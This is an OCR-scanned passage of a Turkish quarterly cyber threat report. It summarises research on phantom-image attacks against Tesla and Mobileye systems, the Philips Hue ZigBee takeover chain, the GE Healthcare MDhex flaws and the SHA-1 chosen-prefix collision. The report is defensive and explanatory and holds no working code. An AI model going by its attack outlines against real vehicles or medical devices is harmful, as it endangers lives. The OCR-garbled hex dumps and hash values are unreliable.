uzaktaki insanlar ve kameralar karartiimis bir ekran g6-
rantuler.

Tespit etmeye yonelik dnlem olarak hassas verileri iceren
bilgisayarin ele gegirilme zamaninda gérintl anomalileri
olup olmadigi denetlenebilir (anomaly detection). Ama
bu noktada isletim sistemine glvenilmemelidir ¢lnki
zararli rootkit olabilir. Yani igletim sistemi veya kernel se-
viyesinde sizmig bir yazilim olarak faaliyet gdsteriyor ola-
bilir. Guvenilir bir izleme yapilarak ekran parlakligindaki
degisme desenleri (patterns) yakalanabilir.

Bu yazida, hassas icerikli/6zel verilerin gizli optik kanal-
larla LCD ekran parlakligina (gérintt piksellerine) giz-
lenerek kullanicilar tarafindan goérsel algilamayla tespit
edilemeden yerel kameralarla kayit altina alinarak tasin-
ma yéntemi anlatildi. Saldirt modeli iki temel baglikta he-
def aga bulasan bir zararlinin gelismis kalici tehdit (APT)
olarak varligini stirdirmesi ve kamera kullanimi ile bilgi-
sayardaki goruntlnin ele gegirilip saldirgan tarafindan
analiz edilmesinin yontemlerini icermektedir.

14. SURUS DESTEK SiSTEMLERINE
YAPILAN SALDIRILAR

14.1. Suriis Destek Sistemleri Nedir?

Surids Destek Sistemleri (ADAS - Advanced Driver
Assistance Systems), slrlciliye ara¢ kullanirken veya
park ederken yardimci olan elektronik sistemlerdir.
Uyarlanabilir hiz sabitleyiciler, carpisma &nleme sis-
temleri, otomatik far sensorleri, serit takip sistemleri,
kér nokta uyarilari buna 6rnek verilebilir. Glvenli bir in-
san-makine ara yizi ile tasarlandiginda, arag givenligini
veya daha genel olarak yol glivenligini artirmayi amaclar.
ADAS sistemleri mikro denetleyici Gniteleri (MCU), elekt-
ronik kontrol Uniteleri (ECU) ve yari iletken glic cihazlar
gibi elektronik teknoloijileri kullanir. Bu sistemler LIiDAR
(lazer mesafe sensoéril), radar, arag kamerasi ve arag ici
ag dahil olmak Uzere bircok veri kaynagindan gelen gir-
dilere dayanir?4,
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14.2. Saldinda istismar Edilen Zafiyetin
Kaynagi Nedir?

Sirls destek sistemleri izerinde yapilan calismalar,
yari veya tam otonom sirlstn desteklenecegi, bir di-
ger deyisle insan surlculerin yerini otonom siriculerin
alacagi giniin ¢ok uzak olmadigini gosteriyors. Yari
veya tam otonom araclarin kullanimi diinyanin birgok
Ulkesinde halihazirda baglamis olsa da, araglar ile yol
kenar birimleri arasinda bilgi alisverisi amagh bir dizi
protokol olan arag iletisim sistemlerinin devreye alin-
masi ertelenmistir. Bu iletisim sistemleri; V2V (aragtan
araca), V2l (aractan altyapiya), V2P (aragtan yayaya) ve
V2X (aragtan her seye), yari-tam otonom araclar icin yol
isaretleri, seritler ve yoldaki engellerle ilgili bilgi ve dog-
rulama saglamay! amagliyor. Fakat bu iletisim sistem-
lerinin kullaniminin henliz baglamamis olmasi, yari-tam
otonom araclarin sensdrlerden gelen engel ve serit gibi
verileri dogrulama yetenegini kisitlayan bir zafiyet olus-
turuyort®l,

14.3. Zafiyete iliskin Saldirilar Neler?

Raporumuzun bu bélimi s6zi gecen zafiyetlerle ilgili ne
tlr saldirlarin giindeme geldigini ele almaktadir.

14.3.1. Sahte Serit Saldirilar

Arastirmacilar, bahsedilen acikhgi kullanarak Tesla’nin
belirli kosullar altinda otomatik olarak yaklasan trafige
ydnlendirmesine neden olabilecek basit bir saldin ta-
sarlamistir. Tesla’nin oto pilot teknolojisi yakin engelleri,
arazi ve serit degisikliklerini tespit etmek ve gevre hak-
kinda bilgi toplamak icin kameralari, ultrasonik sensor-
leri ve radarlan kullanmaktadir. Topladigi verileri gercek
zamanl olarak yanit vermek i¢cin makine 6grenmesi kul-
lanan yerlesik bilgisayarlara gondermektedir?”.

Arastirmacilar tersine mihendislik ile Tesla’nin otomatik
sureglere nasil tepki verdigini incelemistir. Bu inceleme-
nin sonucunda aracin nasil kargi seride yonlendirilecegdi
tespit edilmistir. Saldin i¢in surticl tarafindan ¢cok géze
carpmayan ¢ kare cizilmistir; oto pilotun gercek seridi,
cizilen kareler olarak kabul edip ters yone girdigi gorul-
mUstriel,

Sekil 41: Olusturulan sahte ¢izginin dijital gérinimu.
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Ancak bu saldirn yéntemi, saldin yapilacak alanda de-
gisiklik yapilmasini, yani saldirganin saldirinin yapilacagi
yerde bulunmasini gerektirir. Bu ise saldirganin kimligini
aciga cikartabilir. Ayrica, saldirganlarin saldiri mahallinde
biraktigi adli kanitlar yayalar ve siriculer tarafindan ko-
layca kaldirilabilir olmakla birlikte olayin incelenmesi icin
arastirmacilar tarafindan da kullanilabilir.

14.3.2. Hayalet Goriinti Saldinlan

Arastirmacilar, hayalet gérinti saldinlarnnin diger saldir-
lara kiyasla ¢cok daha kolay oldugunu belirtiyorlar. Bu sal-
diryr uygulamak igin gerekli ekipmanin sadece bir drone
ve tasinabilir bir projektérden ibaret oldugunu, bunlarin
maliyetinin de birka¢ yUz dolan agsmadigini sdyltyorlar.
Arastirmacilar uygulama sirasinda zorlandiklar tek konu
olarak projektér tarafindan yansitilan gérintinin arag
tarafindan taninacak kadar parlak ve keskin olmasi ge-
rektigine isaret ediyorlar?7.

Sekil 42: Saldin modeli: Saldirgan (1) dijital reklam panosunu (2)
uzaktan ele gegirir ya da hayalet goriinti olusturmak icin tasina-
bilir projektor ile donatilmis bir drone (3) ugurur.

Arastirmacilar bu c¢alismada, sirls destek sistemi
(ADAS) olarak Mobileye 630 PRO ve otonom arag olarak
Tesla Model X kullanmigtir.

14.3.3. Mobileye 630 PRO Sistemine Yapilan
Hayalet Goriintii Saldinlan

Bir Intel sirketi olan Mobileye, gérts guvenligi tekno-
lojisinin yollanimizi daha givenli hale getirmesi, trafik
sikisikligini azaltmasi ve hayat kurtarmasina katkida
bulunmak gibi bir misyonla 1999 yilinda kurulmustur®.
Arastirma icin Mobileye 630 PRO, 0-1 otomasyon se-
viyesindeki otomobillerdeki en gelismis harici ADAS
olarak kabul edilmis ve bu nedenle Mobileye 630 PRO
kullaniimistir. Calismasi bilgisayarli gori algoritmalarina
dayanan cihaz gdérintilemeyi saglayan bir kamera ve
cevre hakkinda gérsel ve sesli uyarilari sUrliclye aktaran
bir ekrandan olugmaktadiri¢..

SIBER TEHDIT DURUM RAPORU



OCAK-MART 2020

Sekil 43: Mobileye 630 PRO sistemine yapilan saldiri 6rnegi.

(@) Mobileye 630 PRO, 6n cama monte edilmis bir video
kameradan (yesil gerceveli) ve bir ekrandan (mor cerce-
veli) olusur. (b) Deneysel kurulum: tripod Uzerine yerles-
tiriimis portatif bir projektdér (mavi cerceveli), yansitilan
hayalet gorinta (kirmizi cerceveli) ve Mobileye 630 PRO
ile donatiimis saldirya ugramis arag (sarn cerceveli) yu-
karidaki sekilde gorilebilir.

14.3.4. Drone Kullanilarak Yapilan Saldirilar

Arastirmacilar bu deneyi gerekli izinleri alarak Universi-
te bunyesinde gerceklestirmistir. Saldirnyi gizlemek icin
tasinabilir projektdr teslimat kutusu tasiyan bir drone
Uzerine monte edilmis ve saldiri yapacak olan drone,
aracin glizergahi Uzerinde bulunan hayalet hiz sinin
isaretini yansitabilecegi bir duvarin éntinde konumlan-
dinimistir.

Arac geldiginde 125 milisaniye boyunca, yanls hiz siniri
olan 90 km/saat uyarisi duvara yansitiimistir. Mobileye
cihazi, normalde siriict icin fark edilmesi imkansiz olan
bu slrede hayalet yol isaretini algilamis ve slriciye 30
km/saat hizindan daha hizli gidiimesi yasak olan yolda
hiz sinirni 90 km/saat olarak géstermistir.

Sekil 44: Binaya, drone Uzerinden 125 milisaniye boyunca haya-
let yol isareti (kirmizi gergeveli) yansitilir; hayalet yol isareti gecen
Renault Captur tarafindan yakalanir ve Mobileye 630 PRO (sari
cerceveli) hayalet yol isaretini gercek olarak tanimlar.
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14.3.5. Dijital Reklam Panosuyla Yapilan
Saldirilar

Arastirmanin gosterdigi Gzere saldirganlar drone ile ya-
pilan saldirya benzer sekilde internet lzerinden erisim
saglanabilen bir reklam panosunu ele gecirerek veya
yasal olmayan siteler lizerinden ele gegcirilmig bir dijital
reklam panosunu kiralayarak hayalet gériintli saldirisi
yapabilmektedir. Saldirganlar; sirlcller, yayalar ve yol-
cular tarafindan saldirinin tespit edilmesini zorlastirmak
icin mevcut bir reklama bir hayalet gértnti gizleyebiliyor.
Bu iki sekilde yapilabiliyor: ya yol isareti ya da yol isareti
taslagi reklama gizleniyor’sl,

'D\

o P—
Embedded /F

Road Sign ("5 '

Sekil 45: Kola reklamina gizlenmis yol isareti (a), Yol isareti (b),
Yol isareti taslagi (c).

Hayalet yol isaretinin basit video editérleriyle bir rekla-
ma kolaylikla eklenebilecegi belirtiliyor. Deneyi yukarida
belirtilen her iki sekilde de Sekil 43’te gbsterilen perdeye
yansitarak gergeklestiren arastirmacilar, Mobileye tara-
findan hiz sininnin 90 km/saat olarak gdsterildigini be-
lirlemigtir2el,

14.3.6. Yari-otonom Tesla Model X Aracina
Yapilan Hayalet Gériinti Saldirilar

Tesla Motors, 2003 yilinda Martin Eberhard tarafindan
kurulmus elektrikli arag ve elektrikli arag motor parca-
lar tasarlayan ve Ureten bir ABD sirketidir??. Tesla’nin
oto pilotunun, insan surlcuden istatistiksel olarak daha
glvenli oldugu disitnilmektedir®. Arastirmacilar Tesla
Model X’i hayalet goriintl saldinlarina karsi test etmistir.
Hiz sabitleyici ve oto pilot iglevlerini destekleyen bu mo-
del aracin yaya ve ara¢ kazalarindan korunmasini sag-
layan bir carpisma 6nleme sistemine sahiptir. Model X
Uzerindeki engel algilama sistemi, 8 surround kamera,
12 ultrasonik sensor ve 6n radar sayesinde cevresi hak-
kinda bilgi edinmektedir. Sistem tarafindan tespit edilen
herhangi bir engel, gésterge panelinden siriciye sunul-
maktadirt,
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14.3.7. Engel Algilama Sistemine Yapilan
Saldinlar

Arastirmacilar, yol kenarina konulan bir projektdr aracili-
giyla bir insanin hayalet gorintlsind yola yansitarak ilk
saldiry1 gerceklestirmistir. Hayalet géruntt ara¢ hareket
etmeden 6nilne yansitildiginda oto pilotun goérintiyd
gercek insan olarak algiladigi icin harekete gecmedigi
g6rilmustar.

Sekil 46: Tesla’nin otopilotu hayalet goriintliyl gergek bir insan
olarak tanimlar ve harekete baslamaz. Kirmizi cergeve iginde
aractaki gosterge paneli gorultyor.

Ardindan, projektdr Uzerinden hayali insan gérintisi
yerine bir hayali ara¢ gérintisi yansitilmistir. Sonug ilk
deneydeki gibi olmus ve Tesla hayalet gériintlyl gercek
bir ara¢ olarak yorumlamistir. Arastirmacilarin bu konu-
da sasirdiklar nokta, gérintiiniin aracin yaklasik 1 metre
oénlinde, 6n radar ve mesafe sensoérleri tarafindan kap-
sanan bir alanda bulunmasi olmustur?el,

Arastirmacilar bu deneylerden Tesla’nin engel algilama
sisteminin gorsel bir engelin varligini baska bir sensoéri
kullanarak dogrulamadigi sonucunu ¢ikarmistir. Bunun
nedeni arastirmacilara gére Tesla’nin ¢alisma prensibi-
nin sensorlerin ylksek dogruluk oranl gérdtigi bir engeli
kaza riski dogurmamak icin gercek olarak degerlendire-
cegi sekilde tasarlanmig olmasidir?e,

Sekil 47: Tesla’nin otopilotu hayalet gériintlyi gergek bir arag
olarak tanimlar. Kirmizi gergeve icinde arag icindeki gésterge
paneli gérultyor.
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14.3.8. Serit Algilama Sistemine Yapilan
Saldirilar

Tesla’nin otopilotu tarafindan araci glvenli bir sekilde
yénlendirmek igin kullanilan serit algilama sisteminin
dogrulugu aracgtaki kameralara ve goriinti isleme siste-
mine dayanir. Bu saldinda saldirganlarin hayalet seritleri
yansitarak Tesla’nin otopilotunun yolundan sapmasina
ve karsl seride gegmesine nasil neden olabilecegi test
edilmistir. Saldir i¢in; sari bir ¢izgi ile ayrilmis, tek seritli,
gidis-donis olan bir yol Uzerine yavasca sola dénen ve
iki seritten olusan bir hayalet gorinti yansitiimistir. Sekil
46’da gorilen konum 1’de otopilot 6zelligi devreye so-
kularak konum 2’de bulunan hayalet gériintiiye dogru
ilerletilmistir. Tesla’nin serit algilama sistemi konum 2’de
hayalet gérunttleri gercek serit olarak kabul ederek karsi
seride gegcmis ve arastirmacilar frene basana kadar iler-
lemeye devam etmistir?e.,

Sekil 48: (a) Otopilot devredeyken (konum 1) Tesla, yola yansiti-
lan hayalet seride (konum 2) yaklasir. Serit algilama sistemi aracin
sola dénmesine neden olur ve konum 3 dogrultusunda gider. (b)
Arag icinden kamerayla ¢ekilmis hayali seritler.

15. AKILLI AYDINLATMA SISTEMLERININ
KARANLIK YUZU

Hepimiz Nesnelerin interneti kavramina asinayiz ancak
kacimiz akilh aydinlatma sistemlerini duymustur? Bir
mobil uygulama veya dijital ev asistaninizi kullanarak
evinizdeki aydinlatma sistemini kontrol edebilir, hatta
isterseniz ampullerin rengini degistirebilirsiniz. Bu akilli
aydinlatma sistemleri, bildigimiz Wi-Fi protokoll veya
dusik bant genislikli bir telsiz protokoli olan ZigBee
kullanilarak kablosuz olarak y&netilir.

2017 yilinda, bir akademik arastirmaci ekibi nasil akill
aydinlatma sistemlerini kontrol altina alarak modern bir
sehre yayilacak bir zincirleme reaksiyon yaratabilecek-
lerini gdstermisti. Bu arastirma arkasinda ilging bir soru
da getirmisti: saldirganlar bu tir loT aglarini bir sigrama
noktasi olarak kullanarak bilgisayar aglarimiza da saldi-
rabilirler mil®2?

S6z konusu arastirmayl bir adim oteye goétiren Tel
Aviv Universitesi Check Point Bilgi Giivenligi Enstitiisi
(CPIIS) arastirmacilari, bir saldirganin evlerde, igyerlerin-
de ve hatta akilll sehirlerde mevcut bilgisayar aglarina
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saldirmak i¢in bir loT agindan (akilli aydinlatma sistemleri
ve kontrol kdprusi) nasil yararlanabilecegini gésterdiler.
Arastirmacilar pazar lideri Philips Hue akilli ampullere ve
bu ampulleri internete baglayan képriye odaklandilar.
Philips Hue akilll ampullerin kendi aralarinda ve képrtyle
ag kurmak icin kullandiklari ZigBee dusuk gui¢ kablosuz
protokolinde aglara sizilmasini saglayan bir guvenlik
acigi (CVE-2020-6007) buldular®.

Check Point arastirmacilarn bir hedef agdaki Philips Hue
ampulinin kontroliinl ele gecirip Uzerine kétl amagli
Urtin yazihmi yUtkleyebildiler. Daha sonra Uzerinde kétu
amagcli yazihm barindiran ampull kullanarak hedef aga
asa@idaki gibi saldirdilart®?:;

Saldirgan ampuliin rengi degistirerek kullanicin am-
pulde bir sorun oldugunu disinmesini saglar. Bunun
Uzerine kullanici telefonundaki veya tabletindeki
kontrol uygulamasini kullanarak ampuli sifirlar.

Philips Hue’i sifirlamanin tek yolu onu uygulamadan
silmek ve kdpriyle tekrar eslestirmektir.

Tekrar eslestirme asamasinda kdpri saldirgan tara-
findan kontrol edilen ele geciriimis ampulle eslesme-
ye zorlanr.

Eslesmeden sonra zararli yazilim yikli olan ampul,
ZigBee agigini (CVE-2020-6007) kullanarak kontrol
koprusu Uzerinde bagka bir zararli yazilim ¢alistirir.

Bu noktadan sonra kontrol képrisi geleneksel bilgi-
sayar aglarina bagli oldugu i¢in saldirgan da istedigi
farkli istismarlari kullanabilecektir.

Arastirma, Kasim 2019’da Philips ve Signify’a (Philips
Hue markasinin sahibi) bildirilmistir. Signify, Grlnlerin-
deki glivenlik aciginin varhigini dogrulamis ve sitelerinde
bu konuda bir yama stirimii (Uriin Yaziimi 1935144040)
yayinlamistir.

16. GE HEALTHCARE CIHAZLARINDAKI
MDHEX ZAFIYET AILESI

Medikal cihazlarin glivenligi alaninda calismalar ytrGten
CyberMDx firmasindaki arastirmacilar Ocak ayinda kes-
fettikleri alti zafiyetle glindeme geldiler. Bu zafiyet kiime-
sine de MDhex adini verdiler.

Bahsi gegen zafiyetler Gnli medikal cihaz Ureticisi GE
(General Electric) Healthcare firmasinin (rettigi hasta iz-
leme ekipmanlarinda gérilmektedir. Hasta yataginin ya-
nina yerlestirilen bu cihazlar hastanin kritik gértlen sag-
lik degerlerini eszamanli olarak toplar ve klinik gérevlileri
tarafindan izlenebilmesi icin merkezi telemetry sunucu-
larina gonderir. CyberMDX’in acikladigi teknik zafiyetler-
den etkilenen cihazlarin listesi asagidaki gibidir®.
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Central Information Center (CIC), version 4.x ve 5.x

CARESCAPE Central Station (CSCS), version 1.x ve
2.X

CARESCAPE Telemetry Server, version 4.3, 4.2 ve
oncesi

Apex Pro Telemetry Server/Tower, version 4.2 ve 6n-
cesi

B450 patient monitor, version 2.x
B650 patient monitor, version 1.x ve 2.x
B850 patient monitor, version 1.x ve 2.x

Sekil 49: B850 Hasta Takip Ekrani.

MDhex guvenlik acig sayesinde hastane agina erigimi
olan bir saldirgan tarafindan zafiyet barindan cihazlara
erisim saglanarak hastanin hayati degerleri degistirilebil-
mektedir. Ayrica klinik calisanlanini hastanin degerlerine
gore otomatik olarak uyaran mekanizmalari devre digi bi-
rakarak hastanin hayatini ciddi tehlikeye sokabilmektedir.

Amerikan Saglik Bakanhigi, CISA (Cybersecurity and
Infrastructure Security Agency) ve FDA (Food and Drug
Administration) tarafindan, MDhex gtivenlik agigina karsi
alinmasi gereken 6nlemler baglikli bir liste yayinlanmistir.
En genel 6nlem ise bu tir saglik cihazlarini ayn bir ag
yapisi igcinde tutmak ve internete baglanmalarini engel-
lemek olacaktir.

Bir GE Healthcare yetkilisi tarafindan yapilan acikla-
mada gerekli yaziim iyilestirmeleri ve yamalarin 2020
yihnin ikinci geyreginde yayinlanacagi belirtiimistir. GE
Healthcare’in MDhex aciklarindan gecen seneden beri
haberi oldugu ve bu konu Uzerinde c¢alistigi ve muhte-
mel saldirilari engellemek icin hastaneleri de bu konuda
uyardigi belirtilmistirtss],
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16.1. Teknik Detaylar
16.1.1. SSH Zafiyeti (CVE-2020-6961)

Risk Seviyesi 10.0 / 10.0 CVSS Vektort: AV:N/AC:L/PR:N/
UI:N/S:C/C:H/I:H/A:H

Rapor Tarihi 18.11.2019

CISA Uyan Tarihi 23.01.2020

Tablo 4: CVE-2020-6961 zafiyet kiinyesi

SSH sunucu yikli bir makine uzaktan erisim ve y6-
netime imkan vermektedir. SSH genel olarak unix ta-
banl makineler igin tasarlanmis olsa da Cygwin yUklG
Windows makinelerde de ¢alisabilmektedir.

SSH sunucu konfiglirasyonlari genellikle kendilerine
baglanmasina izin verdigi diger makinelerin genel anah-
tarlarini authorized_keys isim bir dosyada tutar. CVE-
2020-6961 zafiyetinden etkilenen makinelerde 6zel
anahtar da konfiglirasyon hatasi olarak cihaz tzerinde
tutulmaktadir. Bu 6zel anahtar ise sadece bir cihaza
6zgl olmasi gerekirken bltin cihazlarda ortaktir. Bu
durumda sadece bir cihaz Uzerinden 6zel anahtara eri-
sebilen saldirgan, bu anahtarn kullanan buitin cihazlara
erisim saglayabilmektedir.

16.1.2. SMB Zafiyeti (CVE-2020-6963)

Risk Seviyesi 10.0 / 10.0 CVSS Vektori: AV:N/AC:L/PR:N/
UI:N/S:C/C:H/I:H/A:H

Rapor Tarihi 18.11.2019

CISA Uyan Tarihi 23.01.2020

Tablo 5: CVE-2020-6963 zafiyet kiinyesi

CARESCAPE ve GE Health Urin ailesinde ortak ola-
rak kullanilan gémuli kullanici adi/parola ciftlerini elde
eden bir saldirgan bu cihazlara uzaktan SMB baglantisi
kurarak sistem Uzerindeki dosyalara yazma ve okuma
hakkini elde edebilmektedir. Kullanici adi/parola giftine
ulasmak icin ise sistemler Gzerinde ¢alisan Windows XP
isletim sisteminin parola kurtarma 6zelligini kullanmak
yeterli olmaktadir.

16.1.3. MultiMouse/Kavoom KM Zafiyeti
(CVE-2020-6964)

Risk Seviyesi 10.0 / 10.0 CVSS Vektori: AV:N/AC:L/PR:N/
UI:N/S:C/C:H/I:H/A:H

Rapor Tarihi 18.11.2019

CISA Uyan Tarihi 23.01.2020

Tablo 6: CVE-2020-6964 zafiyet kiinyesi.
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MultiMouse/Kavoom KM yazilimi sistemlerin mouse
ve klavyelerinin uzaktan yoénetimi igin gelistiriimistir.
Yaziimin temel amaglarindan biri de ¢oklu sistemlerin
tek mouse ve klavye ile uzaktan ydnetimini saglamaktir.
CVE-2020-6469 zafiyetinde parola korumasi olmadan
kullanimina izin verilen sistemle saldirgan kolaylikla uzak
sistemlerin kontrolini ele gegirebilmektedir.

16.1.4. VNC Zafiyeti (CVE-2020-6966)

Risk Seviyesi 10.0 / 10.0 CVSS Vektori: AV:N/AC:L/PR:N/
UI:N/S:C/C:H/I:H/A:H

Rapor Tarihi 18.11.2019

CISA Uyar Tarihi 23.01.2020

Tablo 7: CVE-2020-6966 zafiyet kiinyesi

VNC uzak masaustl erisimi i¢in kullanilan bir uygula-
madir. Uygulama igin gerekli olan kullanici adi ve parola,
cihazin dékumanlari i¢cinde yapilacak bir aramayla her-
kes tarafindan kolaylikla ulasilabilecek bir sekilde sak-
lanmaktadir.

16.1.5.Webmin Zafiyeti (CVE-2020-6962)

Risk Seviyesi 10.0 / 10.0 CVSS Vektoru: AV:N/AC:L/PR:N/
UI:N/S:C/C:H/I:H/A:H

Rapor Tarihi 18.11.2019

CISA Uyan Tarihi 23.01.2020

Tablo 8: CVE-2020-6962 zafiyet kiinyesi

Webmin éruntl tabanl sistem yapilandirma aracidir. S6z
konusu cihazlarda kullanilan Webmin uygulamasi kulla-
nimdan kaldirimig ve internet Uzerinde istismar kodlari
mevcut bir sGrimduir (v1.250).

16.1.6.GE Sistem Giincelleme Zafiyeti
(CVE-2020-6965)

Risk Seviyesi 8.5 / 10.0 CVSS Vektori: AV:N/AC:H/PR:L/
UI:N/S:C/C:H/I:H/AH

Rapor Tarihi 18.11.2019

CISA Uyarn Tarihi 23.01.2020

Tablo 9: CVE-2020-6965 zafiyet kiinyesi

GE medikal cihazlarn, gtincellemeleri uzak baglantiyla
alabilmek i¢in &n yukli yazihm gtincelleme sistemleriyle
birlikte gelirler. Zafiyete acik olan cihazlardan bazilar
herhangi bir dogrulama veya kimlik kontroll yapma-
dan her yazihm gincelleme istegini kabul etmektedir,
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diger cihazlar ise SSH anahtar tzerinden kimlik kont-
roli yapsa da kullandiklari anahtarlar CVE-2020-6961
zafiyetinde bahsedilen herkesin ulasabilecegi anahtar-
lardir. Bu eksik veya yanls yapilandirilan glincelleme
alt yapisi yuziinden koétu niyetli bir kisi zararli yazihm
iceren glncelleme paketini GE medikal cihazlarina ko-
laylikla yUkleyebilir.

17. SHA-1 OZET ALGORITMASINDA SECILI
ON EK GAKISMASI

Ozet fonksiyonlari, sayisal verinin parmak izi olarak ka-
bul edilen elektronik imzalardan web gtvenligine kadar
cok cesitli alanlarda kullanilan matematiksel fonksiyon-
lardir. Bu fonksiyonlar arasinda en bilinenlerden biri olan
SHA-1 algoritmasi 1995 yilinda NSA (Amerikan Ulusal
Guvenlik Ajansi) tarafindan gelistiriimis ve NIST, 1SO,
IETF gibi kuruluglar tarafindan 6zet algoritma standardi
olarak kabul edilmigtir. Gelistirildikten tam 10 sene son-
ra, 2005 yilinda yayinlanan bir makalede bu algoritmanin
teorik olarak kirildigi belirtiliyordul®4,

Peki, 6zet fonksiyonun kirilmasi ne anlama geliyor? Ozet
algoritmalarda “kinlma” dedigimiz olgunun birden ¢ok
durumu vardir. Bunlardan ilki ayni ¢iktiyr veren birbirin-
den farkl iki mesaj ¢iftinin bulunmasi (¢akisma - col-
lision), bir digeri verilen bir 6zet degeri Ureten mesajin
bulunabilmesidir (6n gérinti — preimage). Ugiincis,
verilen bir mesajla ayni 6zet degeri verebilen bagka bir
mesajin bulunmasidir (ikincil 6n gorintl — second pre-
image). Bunlar arasinda maliyeti en dusuk olan saldir
tiri cakisma (collision) saldirilandir. Ozet algoritmalarin
glvenligi, ayni 6zet degerini treten bu iki mesajin kolay-
likla bulunamamasina dayanir. Ozet fonksiyonlarin ¢ikti
boyu sabit uzunlukta, girdi boyu ise teorik olarak sonsuz
uzunlukta oldugundan aslinda ayni ¢iktiyi veren iki farkli
mesaj kesinlikle var olabilir. Dogum gini paradoksuna
(birthday paradox) goére, algoritmanin ¢ikti boyu n bit ise
maksimum islem karmasikhigiyla bu iki cakisan mesaj
bulunabilir. Ornegin SHA-1 algoritmasinin ¢ikti boyu 160
bit uzunlugunda oldugundan islemle ayni ciktiy Greten
iki mesaj kesinlikle bulunabilir. 2015 yilinda NIST tarafin-
dan standart olarak kabul edilen SHA-3 algoritmasinin
destekledigi 512 bit ¢ikti boyu igin gakisma bulma mali-
yetinin islem oldugunu ekleyelim.

Bu rakamlar bile SHA-1 algoritmasinin giinimuizde ol-
dukca glivensiz oldugunun bir kaniti ancak 2017 yilina
kadar algoritmaya yonelik pratik bir saldir yasanmamig-
t1. 2017 yilinda iclerinde Google gtivenlik ekibinin de yer
aldigr arastirmacilar SHA1 algoritmasina yonelik bir ¢a-
kisma saldirisi dizenleyerek Urettikleri farkli iki PDF dos-
yasinin 6zet degerlerinin ayni oldugunu tespit ettilerts.
SHA-1 algoritmasi igin bilinen bu ilk pratik saldirinin ar-
dindan algoritmanin kullanimi giderek azalmaya bagladi.
Guncel tarayicilarin SHA1 6zet degerine sahip sertifika-
lan kabul etmemeye baglamasiyla web sertifikalarinda
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SHA1 algoritmasinin kullanim orani yizde 20’lerden yuz-
de 1’lere inmigtirte.,

Gectigimiz glnlerde Real World Crypto 2020 konferan-
sinda sunulan bir tebli§g ise 2017 yilindaki galismanin
daha ileri boyutlara tagindigini gosteriyor®”. Buna gore,
saldinnin teorik hizi 10 kat iyilestiriimis ve 900 GPU’luk
bir sistem Uzerinde SHA-1 algoritmasina ait bir segili
6n ek cakismasi (chosen prefix collision) bulunmustur.
Secili 6n ek cakismasinin klasik ¢cakisma saldirilarindan
farki, saldirgana verilen farkl P ve P’ 6n ekleri icin ayni
Ozet degeri verecek M ve M’ degerlerinin bulunmasidir .
Bu saldinnin maliyeti dogal olarak daha fazladir, ancak P
ve P’ degerlerini sertifikalardaki sabit baglangi¢ alanlari-
na denk getirilip sertifikanin genel 6zet degeri icin ¢akis-
ma bulunabilirse cok daha anlamli olabilmektedir.

Arastirmacilar bu sekilde calisarak agik kaynak kodlu
PGP uygulamasi GnuPG igin ayni 6zet degeri veren iki
farkl sertifika Uretmigler. Sekil 49’da asagidaki iki farkli
6n ek icin Uretilmis mesaj ve Sekil 50’de bu mesajlarin
ayni olan 6zet degerleri gériliyor. Daha sonra segilen
on ek degerleri kullanilarak iki farkli PGP acik anahtari ve
cakisan sertifika imzasi Uretmeyi basarmiglar (Sekil 51).

P,=99040d047fe81780012000,
P,=99030d047fe81780011800

SHA-1 algoritmasinin kullanimi 2017 yilindaki ilk cakisma
orneginden sonra hizla azalmistir. Arastirmacilar bunun
yeterli olmadigini, halen bu ¢alismada olusturulan érnek
sertifikalarin kullanildigi GnuGP yazihmi bagsta olmak
Uzere Git uygulamasi, DNSSEC protokoll, OpenSSL ve
OpenSSH kitliphaneleri gibi bazi énemli uygulamalarda
bu algoritmanin halen desteklendigini belirtmekteler.

GnuPG, CVE-2019-14855 zafiyet numarasiyla belirlenen
bu aciklik icin yama ¢ikarmigtir ve artik SHA-1 sertifikalari-
ni kabul etmemektedir. Ayni sevindirici gelisme OpenSSL
Kattphanesi icin de gecerlidir, uygulamanin giincel stiri-
mi SHA-1 ile imzalanan sertifikalar kabul etmemektedir.
OpenSSH kitiphanesi de 8.2 strimiyle beraber ¢cok ya-
kinda SHA-1 kullanmayacagini duyurmustur®®.,

root@stm20.../Downloads £ root@stm20.../Downloads B

T L R 10
Aepeepee [F9 @3 @D A4 7F ER 17
00000010 74 69 63 61 6C 20 53
00000020 65 GE 2D 7@ 72 65 66
GooooB3e 69 BF BE 21 1D 27 BC
20000040 7F @7 62 49 DD C7 FB
aoeeedse C7 9E AB 2B E1 67 4B
00000060 89 1C 76 AR 206 @7 72
0gRo@ave 7D 2D 8C BB 52 &A 4F
00000RB0 92 31 AF 26 E9 75 9D
000e2090 OF EE 55 33 19 B6 DC
Boo0eRAR 72 DE 30 AR B7 EA 3A
200000B2 Bl B6 &F EC C9 08 &4F
AAEARACA 9@ 43 @6 15 @A FF AC
000000D@ DE O6F EC 4E CD 79 43
11 F6 E@ OB
DC BE 8D @D

BT UASCYY OFFFEES OROUD:
aanannen EQ A4 QD @4 7F ER 17 &R
00000018 69 73 20 7O 61 72 T4 20
00000020 6C 69 73 69 6F 6E 21 20
BovoRo3e 72 b1 78 21 79 Cb 1A F©
20000040 73 07 62 4B 1D C7 FB 23
eoeoeds® 7B 9E AB 31 C1 67 4B 6D
geeeo0ce B85 1C 706 A2 EG @7 72 BS
Gepoea7e C1 2D BC 7@ E2 &A 4F 8D
00000080 9E 31 AF 24 29 75 9D 42
00000000 23 EE 55 29 39 Bé DC DC
B0V00VAR TE DE 30 AZ 47 EA 3A Fo
000000B0 ©D B6 4F F4 79 @8 4F D3
AAAAPACA 9C 43 A6 17 CA FF AC 36
Go0000DE@ 62 OF EC 54 ED 79 43 A4
1D F6 E@ 09 00 10 DB @E
6@ 8E BD 15 BA 78 SF 34

Q0RROAER
Q0000OFR

000000ED
Q0B0BaFe

ce 10 pe
3A 78 9F

Sekil 50: Ayni SHA1 6zet degerini Ureten farkl mesajlar. A mesaji
(sol), B mesaji (sag).
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# shalsum messageA

Sacﬁaba?6fl999a1ab?3223f22533fdc?8d4ddcﬂ messageA
# shalsum messageB

Sacﬁﬁba?6‘Flgggalab?l2231’2253&fdc?8d&ddcﬁ messageB

Sekil 51: iki mesajin SHA-1 6zet degeri.

1 13 3 0 2 2 By
2 62 20 45 -= 52 d5 ar 1r h? o1 ?a ed El. F.: 57 7 1a le bf 11 25 d2 1'! ea al 95 75 ai\ '0 2c
18 f if a5 -ob 71 be 9d 7d fd

5=1

fag 2)(284 bytes)

- Generic certification of 3

6 yie
EDBIS1A956

B& 2d

a7 7F 1 b 3f od 65 13
7f | ¢ 54 bd 47

c3 af { B BB 78 82 Bl 46

D& di | c bf dd 1b F6 1b

